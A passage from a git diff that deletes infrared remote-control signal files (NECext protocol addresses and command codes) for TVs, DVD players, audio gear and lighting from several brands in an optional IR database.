05 00 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir deleted file mode 100644 index a7b0bb8d8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 09 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 11 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 12 00 00 00 -# -name: UpArrow -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 14 00 00 00 -# -name: DownArrow -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 15 00 00 00 -# -name: LeftArrow -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 16 00 00 00 -# -name: RightArrow -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 17 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 1B 00 00 00 -# -name: SkipForward -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 24 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 25 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 29 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 37 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir deleted file mode 100644 index 622e9508e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: surround+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: center+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: surround- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: center- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: optical -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: coax -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: effect -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir deleted file mode 100644 index d65606e7c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1.85 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: LBOX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: STBY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: MEMA -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: MEMB -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: ARROWUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: ARROWLEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 21 00 00 00 -# -name: ARROWRIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: ARROWDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir deleted file mode 100644 index 20d0d4b72..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 09 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0A 00 00 00 -# -name: T-DISP -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0B 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0D 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0E 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0E 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 0F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 10 00 00 00 -# -name: M-CHECK -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 11 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 13 00 00 00 -# -name: RWD -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 14 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 15 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 15 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 17 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 18 00 00 00 -# -name: A-SCAN -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 1F 00 00 00 -# -name: DISC_SELECT -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 58 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir deleted file mode 100644 index 5cf9d43d4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 09 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 09 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 40 00 00 00 -# -name: PHONO/AUX -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 41 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 42 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 43 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 44 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 46 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 4D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 59 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 5D 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: CC 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir deleted file mode 100644 index 4c7cd22f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 02 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 03 00 00 00 -# -name: prevchp -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 04 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 05 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 06 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 07 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 08 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0B 00 00 00 -# -name: title/return -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 10 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 12 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 14 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 15 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 16 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 17 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 40 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 43 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 45 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 46 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 47 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 49 00 00 00 -# -name: ran/prog -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 4A 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 4C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir deleted file mode 100644 index 730115f00..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: v-mode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: hdres -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir deleted file mode 100644 index 305545006..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BRIGHT- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: BRIGHT+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: W -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: G2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: G3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: FLASH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: G5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: R5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: B5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: SMOOTH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: G3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: B3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: G4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: R4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: B4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir deleted file mode 100644 index 9558e5553..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 03 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 04 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 05 00 00 00 -# -name: ADD/DEL -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 06 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 08 00 00 00 -# -name: MUTE/RESET -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 09 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 0B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 0C 00 00 00 -# -name: SAP -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 0D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 0E 00 00 00 -# -name: X_KEY_0/AM/PM -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 19 00 00 00 -# -name: Q.REV -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 1B 00 00 00 -# -name: CLK/TIM -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 1C 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 83 7A 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir deleted file mode 100644 index 506267cc6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_BLUE -type: parsed 